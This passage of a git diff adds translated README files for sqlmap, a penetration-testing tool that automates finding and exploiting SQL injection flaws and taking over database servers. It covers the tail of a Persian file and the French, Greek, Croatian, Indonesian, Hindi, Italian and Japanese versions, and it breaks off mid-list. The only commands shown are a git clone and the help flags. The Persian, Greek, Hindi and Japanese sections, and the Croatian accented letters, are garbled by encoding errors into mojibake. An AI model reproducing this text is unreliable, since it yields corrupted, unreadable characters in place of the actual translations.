استÙاده +---- + + +برای دریاÙت لیست ارگومان‌های اساسی می‌توانید از دستور زیر استÙاده کنید: + + + +<div dir=ltr> + + +``` + python sqlmap.py -h +``` + + + + +<div dir=rtl> + + +برای دریاÙت لیست تمامی ارگومان‌ها می‌توانید از دستور زیر استÙاده کنید: + +<div dir=ltr> + + +``` + python sqlmap.py -hh +``` + + +<div dir=rtl> + + +برای اجرای سریع Ùˆ ساده ابزار Ù…ÛŒ توانید از [اینجا](https://asciinema.org/a/46601) استÙاده کنید. برای دریاÙت اطلاعات بیشتر در رابطه با قابلیت ها ØŒ امکانات قابل پشتیبانی Ùˆ لیست کامل امکانات Ùˆ دستورات همراه با مثال می‌ توانید به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید. + + +لینک‌ها +---- + + +* خانه: https://sqlmap.org +* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یا [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues +* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki +* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* توییتر: [@sqlmap](https://x.com/sqlmap) +* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md new file mode 100644 index 00000000000..4d867898b97 --- /dev/null +++ b/doc/translations/README-fr-FR.md @@ -0,0 +1,49 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation. + +---- + +![Les Captures d'écran](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) démontrent des fonctionnalités de __sqlmap__. + +Installation +---- + +Vous pouvez télécharger le fichier "tarball" le plus récent en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger l'archive zip la plus récente [ici](https://github.com/sqlmapproject/sqlmap/zipball/master). + +De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.7** et **3.x** de [Python](https://www.python.org/download/) + +Utilisation +---- + +Pour afficher une liste des fonctions de bases et des commutateurs (switches), tapez: + + python sqlmap.py -h + +Pour afficher une liste complète des options et des commutateurs (switches), tapez: + + python sqlmap.py -hh + +Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. +Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Liens +---- + +* Page d'acceuil: https://sqlmap.org +* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues +* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki +* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md new file mode 100644 index 00000000000..0d5e0446570 --- /dev/null +++ b/doc/translations/README-gr-GR.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +Το sqlmap είναι Ï€ÏόγÏαμμα Î±Î½Î¿Î¹Ï‡Ï„Î¿Ï ÎºÏŽÎ´Î¹ÎºÎ±, που αυτοματοποιεί την εÏÏεση και εκμετάλλευση ευπαθειών Ï„Ïπου SQL Injection σε βάσεις δεδομένων. ΈÏχεται με μια δυνατή μηχανή αναγνώÏισης ευπαθειών, πολλά εξειδικευμένα χαÏακτηÏιστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εÏÏος επιλογών αÏχίζοντας από την αναγνώÏιση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχÏι και Ï€Ïόσβαση στο βαθÏτεÏο σÏστημα αÏχείων και εκτέλεση εντολών στο απευθείας στο λειτουÏγικό μέσω εκτός ζώνης συνδέσεων. + +Εικόνες +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +ΜποÏείτε να επισκεφτείτε τη [συλλογή από εικόνες](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) που επιδεικνÏουν κάποια από τα χαÏακτηÏιστικά. + +Εγκατάσταση +---- + +Έχετε τη δυνατότητα να κατεβάσετε την τελευταία tarball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/tarball/master) ή την τελευταία zipball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Κατά Ï€Ïοτίμηση, μποÏείτε να κατεβάσετε το sqlmap κάνοντας κλώνο το [Git](https://github.com/sqlmapproject/sqlmap) αποθετήÏιο: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +Το sqlmap λειτουÏγεί χωÏίς πεÏαιτέÏω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.7** και **3.x** σε όποια πλατφόÏμα. + +ΧÏήση +---- + +Για να δείτε μια βασική λίστα από επιλογές πατήστε: + + python sqlmap.py -h + +Για να πάÏετε μια λίστα από όλες τις επιλογές πατήστε: + + python sqlmap.py -hh + +ΜποÏείτε να δείτε ένα δείγμα λειτουÏγίας του Ï€ÏογÏάμματος [εδώ](https://asciinema.org/a/46601). +Για μια γενικότεÏη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηÏιζόμενων χαÏακτηÏιστικών και πεÏιγÏαφή για όλες τις επιλογές, μαζί με παÏαδείγματα, καλείστε να συμβουλευτείτε το [εγχειÏίδιο χÏήστη](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +ΣÏνδεσμοι +---- + +* ΑÏχική σελίδα: https://sqlmap.org +* Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* ΠÏοβλήματα: https://github.com/sqlmapproject/sqlmap/issues +* ΕγχειÏίδιο ΧÏήστη: https://github.com/sqlmapproject/sqlmap/wiki +* Συχνές ΕÏωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md new file mode 100644 index 00000000000..45d5eaad1f9 --- /dev/null +++ b/doc/translations/README-hr-HR.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoÅ¡tvom korisnih opcija za napredno penetracijsko testiranje te Å¡iroki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datoteÄnom sustavu i izvrÅ¡avanja komandi na operacijskom sustavu koriÅ¡tenjem tzv. "out-of-band" veza. + +Slike zaslona +---- + +![Slika zaslona](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Možete posjetiti [kolekciju slika zaslona](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gdje se demonstriraju neke od znaÄajki na wiki stranicama. + +Instalacija +---- + +Možete preuzeti zadnji tarball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/tarball/master) ili zadnji zipball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap radi bez posebnih zahtjeva koriÅ¡tenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi. + +KoriÅ¡tenje +---- + +Kako biste dobili listu osnovnih opcija i prekidaÄa koristite: + + python sqlmap.py -h + +Kako biste dobili listu svih opcija i prekidaÄa koristite: + + python sqlmap.py -hh + +Možete pronaći primjer izvrÅ¡avanja [ovdje](https://asciinema.org/a/46601). +Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih znaÄajki te opis svih opcija i prekidaÄa, zajedno s primjerima, preporuÄen je uvid u [korisniÄki priruÄnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Poveznice +---- + +* PoÄetna stranica: https://sqlmap.org +* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues +* KorisniÄki priruÄnik: https://github.com/sqlmapproject/sqlmap/wiki +* NajÄešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md new file mode 100644 index 00000000000..f82bf71d2ec --- /dev/null +++ b/doc/translations/README-id-ID.md @@ -0,0 +1,53 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data. + +sqlmap dilengkapi dengan pendeteksi canggih dan fitur-fitur handal yang berguna bagi _penetration tester_. Perangkat lunak ini menawarkan berbagai cara untuk mendeteksi basis data bahkan dapat mengakses sistem file dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. + +Tangkapan Layar +---- + +![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Anda juga dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. + +Instalasi +---- + +Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada repositori [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.7** dan **3.x** pada platform apapun. + +Penggunaan +---- + +Untuk mendapatkan daftar opsi dasar gunakan perintah: + + python sqlmap.py -h + +Untuk mendapatkan daftar opsi lanjutan gunakan perintah: + + python sqlmap.py -hh + +Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601). + +Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya. Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Tautan +---- + +* Situs: https://sqlmap.org +* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS Feed Dari Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues +* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki +* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos) +* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md new file mode 100644 index 00000000000..b311f81afe3 --- /dev/null +++ b/doc/translations/README-in-HI.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap à¤à¤• ओपन सोरà¥à¤¸ पà¥à¤°à¤µà¥‡à¤¶ परीकà¥à¤·à¤£ उपकरण है जो SQL इनà¥à¤œà¥‡à¤•à¥à¤¶à¤¨ दोषों की पहचान और उपयोग की पà¥à¤°à¤•à¥à¤°à¤¿à¤¯à¤¾ को सà¥à¤µà¤šà¤²à¤¿à¤¤ करता है और डेटाबेस सरà¥à¤µà¤°à¥‹à¤‚ को अधिकृत कर लेता है। इसके साथ à¤à¤• शकà¥à¤¤à¤¿à¤¶à¤¾à¤²à¥€ पहचान इंजन, अंतिम पà¥à¤°à¤µà¥‡à¤¶ परीकà¥à¤·à¤• के लिठकई निचले विशेषताà¤à¤ और डेटाबेस पà¥à¤°à¤¿à¤‚ट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिसà¥à¤Ÿà¤® तक पहà¥à¤à¤šà¤¨à¥‡ और आउट-ऑफ-बैंड कनेकà¥à¤¶à¤¨ के माधà¥à¤¯à¤® से ऑपरेटिंग सिसà¥à¤Ÿà¤® पर कमांड चलाने के लिठकई बड़े रेंज के सà¥à¤µà¤¿à¤š शामिल हैं। + +चितà¥à¤°à¤¸à¤‚वाद +---- + +![सà¥à¤•à¥à¤°à¥€à¤¨à¤¶à¥‰à¤Ÿ](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +आप [विकि पर](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) कà¥à¤› फीचरà¥à¤¸ की दिखाते हà¥à¤ छवियों का संगà¥à¤°à¤¹ देख सकते हैं। + +सà¥à¤¥à¤¾à¤ªà¤¨à¤¾ +---- + +आप नवीनतम तारबाल को [यहां कà¥à¤²à¤¿à¤• करके](https://github.com/sqlmapproject/sqlmap/tarball/master) या नवीनतम ज़िपबॉल को [यहां कà¥à¤²à¤¿à¤• करके](https://github.com/sqlmapproject/sqlmap/zipball/master) डाउनलोड कर सकते हैं। + +पà¥à¤°à¤¾à¤¥à¤®à¤¿à¤•à¤¤: आप sqlmap को [गिट](https://github.com/sqlmapproject/sqlmap) रिपॉजिटरी कà¥à¤²à¥‹à¤¨ करके भी डाउनलोड कर सकते हैं: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap [Python](https://www.python.org/download/) संसà¥à¤•à¤°à¤£ **2.7** और **3.x** पर किसी भी पà¥à¤²à¥‡à¤Ÿà¤«à¤¾à¤°à¥à¤® पर तà¥à¤°à¤‚त काम करता है। + +उपयोग +---- + +मौलिक विकलà¥à¤ªà¥‹à¤‚ और सà¥à¤µà¤¿à¤š की सूची पà¥à¤°à¤¾à¤ªà¥à¤¤ करने के लिà¤: + + python sqlmap.py -h + +सभी विकलà¥à¤ªà¥‹à¤‚ और सà¥à¤µà¤¿à¤š की सूची पà¥à¤°à¤¾à¤ªà¥à¤¤ करने के लिà¤: + + python sqlmap.py -hh + +आप [यहां](https://asciinema.org/a/46601) à¤à¤• नमूना चलाने का पता लगा सकते हैं। sqlmap की कà¥à¤·à¤®à¤¤à¤¾à¤“ं की à¤à¤• अवलोकन पà¥à¤°à¤¾à¤ªà¥à¤¤ करने, समरà¥à¤¥à¤¿à¤¤ फीचरà¥à¤¸ की सूची और सभी विकलà¥à¤ªà¥‹à¤‚ और सà¥à¤µà¤¿à¤š का वरà¥à¤£à¤¨, साथ ही उदाहरणों के साथ, आपको [उपयोगकरà¥à¤¤à¤¾ मैनà¥à¤¯à¥à¤…ल](https://github.com/sqlmapproject/sqlmap/wiki/Usage) पर परामरà¥à¤¶ दिया जाता है। + +लिंक +---- + +* मà¥à¤–पृषà¥à¤ : https://sqlmap.org +* डाउनलोड: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) या [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* संवाद आरà¤à¤¸à¤à¤¸ फ़ीड: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* समसà¥à¤¯à¤¾ टà¥à¤°à¥ˆà¤•à¤°: https://github.com/sqlmapproject/sqlmap/issues +* उपयोगकरà¥à¤¤à¤¾ मैनà¥à¤¯à¥à¤…ल: https://github.com/sqlmapproject/sqlmap/wiki +* अकà¥à¤¸à¤° पूछे जाने वाले पà¥à¤°à¤¶à¥à¤¨ (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* टà¥à¤µà¤¿à¤Ÿà¤°: [@sqlmap](https://x.com/sqlmap) +* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* सà¥à¤•à¥à¤°à¥€à¤¨à¤¶à¥‰à¤Ÿ: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots +* diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md new file mode 100644 index 00000000000..6b074141b41 --- /dev/null +++ b/doc/translations/README-it-IT.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band. + +Screenshot +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Nella wiki puoi visitare [l'elenco di screenshot](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) che mostrano il funzionamento di alcune delle funzionalità del programma. + +Installazione +---- + +Puoi scaricare l'ultima tarball cliccando [qui](https://github.com/sqlmapproject/sqlmap/tarball/master) oppure l'ultima zipball cliccando [qui](https://github.com/sqlmapproject/sqlmap/zipball/master). + +La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap è in grado di funzionare con le versioni **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma. + +Utilizzo +---- + +Per una lista delle opzioni e dei controlli di base: + + python sqlmap.py -h + +Per una lista di tutte le opzioni e di tutti i controlli: + + python sqlmap.py -hh + +Puoi trovare un esempio di esecuzione [qui](https://asciinema.org/a/46601). +Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (disponibile solo in inglese). + +Link +---- + +* Sito: https://sqlmap.org +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed dei commit: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki +* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md new file mode 100644 index 00000000000..d43e3f563e1 --- /dev/null +++ b/doc/translations/README-ja-JP.md @@ -0,0 +1,51 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmapã¯ã‚ªãƒ¼ãƒ—ンソースã®ãƒšãƒãƒˆãƒ¬ãƒ¼ã‚·ãƒ§ãƒ³ãƒ†ã‚¹ãƒ†ã‚£ãƒ³ã‚°ãƒ„ールã§ã™ã€‚SQLインジェクションã®è„†å¼±æ€§ã®æ¤œå‡ºã€æ´»ç”¨ã€ãã—ã¦ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã‚µãƒ¼ãƒå¥ªå–ã®ãƒ—ロセスを自動化ã—ã¾ã™ã€‚ +強力ãªæ¤œå‡ºã‚¨ãƒ³ã‚¸ãƒ³ã€ãƒšãƒãƒˆãƒ¬ãƒ¼ã‚·ãƒ§ãƒ³ãƒ†ã‚¹ã‚¿ãƒ¼ã®ãŸã‚ã®å¤šãã®ãƒ‹ãƒƒãƒæ©Ÿèƒ½ã€æŒç¶šçš„ãªãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã®ãƒ•ã‚£ãƒ³ã‚¬ãƒ¼ãƒ—リンティングã‹ã‚‰ã€ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã®ãƒ‡ãƒ¼ã‚¿å–得やアウトオブãƒãƒ³ãƒ‰æŽ¥ç¶šã‚’介ã—ãŸã‚ªãƒšãƒ¬ãƒ¼ãƒ†ã‚£ãƒ³ã‚°ãƒ»ã‚·ã‚¹ãƒ†ãƒ ä¸Šã§ã®ã‚³ãƒžãƒ³ãƒ‰å®Ÿè¡Œã€ãƒ•ã‚¡ã‚¤ãƒ«ã‚·ã‚¹ãƒ†ãƒ ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ãªã©ã®åºƒç¯„囲ã«åŠã¶ã‚¹ã‚¤ãƒƒãƒã‚’æä¾›ã—ã¾ã™ã€‚ + +スクリーンショット +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +wikiã«è¼‰ã£ã¦ã„ã‚‹ã„ãã¤ã‹ã®æ©Ÿèƒ½ã®ãƒ‡ãƒ¢ã‚’スクリーンショットã§è¦‹ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ [スクリーンショット集](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) + +インストール +---- + +最新ã®tarballã‚’ [ã“ã¡ã‚‰](https://github.com/sqlmapproject/sqlmap/tarball/master) ã‹ã‚‰ã€æœ€æ–°ã®zipballã‚’ [ã“ã¡ã‚‰](https://github.com/sqlmapproject/sqlmap/zipball/master) ã‹ã‚‰ãƒ€ã‚¦ãƒ³ãƒ­ãƒ¼ãƒ‰ã§ãã¾ã™ã€‚ + +[Git](https://github.com/sqlmapproject/sqlmap) レãƒã‚¸ãƒˆãƒªã‚’クローンã—ã¦ã€sqlmapをダウンロードã™ã‚‹ã“ã¨ã‚‚å¯èƒ½ã§ã™ã€‚: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmapã¯ã€ [Python](https://www.python.org/download/) ãƒãƒ¼ã‚¸ãƒ§ãƒ³ **2.7** ã¾ãŸã¯ **3.x** ãŒã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã•ã‚Œã¦ã„ã‚Œã°ã€å…¨ã¦ã®ãƒ—ラットフォームã§ã™ãã«ä½¿ç”¨ã§ãã¾ã™ã€‚ + +使用方法 +---- + +基本的ãªã‚ªãƒ—ションã¨ã‚¹ã‚¤ãƒƒãƒã®ä½¿ç”¨æ–¹æ³•ã‚’リストã§å–å¾—ã™ã‚‹ã«ã¯: + + python sqlmap.py -h + +å…¨ã¦ã®ã‚ªãƒ—ションã¨ã‚¹ã‚¤ãƒƒãƒã®ä½¿ç”¨æ–¹æ³•ã‚’リストã§å–å¾—ã™ã‚‹ã«ã¯: + + python sqlmap.py -hh + +実行例を [ã“ã¡ã‚‰](https://asciinema.org/a/46601) ã§è¦‹ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ +sqlmapã®æ¦‚è¦ã€æ©Ÿèƒ½ã®ä¸€è¦§ã€å…¨ã¦ã®ã‚ªãƒ—ションやスイッãƒã®ä½¿ç”¨æ–¹æ³•ã‚’例ã¨ã¨ã‚‚ã«ã€ [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) ã§ç¢ºèªã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ + +リンク +---- + +* ホームページ: https://sqlmap.org +* ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* コミットã®RSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* 課題管ç†: https://github.com/sqlmapproject/sqlmap/issues +* ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki +* よãã‚ã‚‹è³ªå• (FAQ): 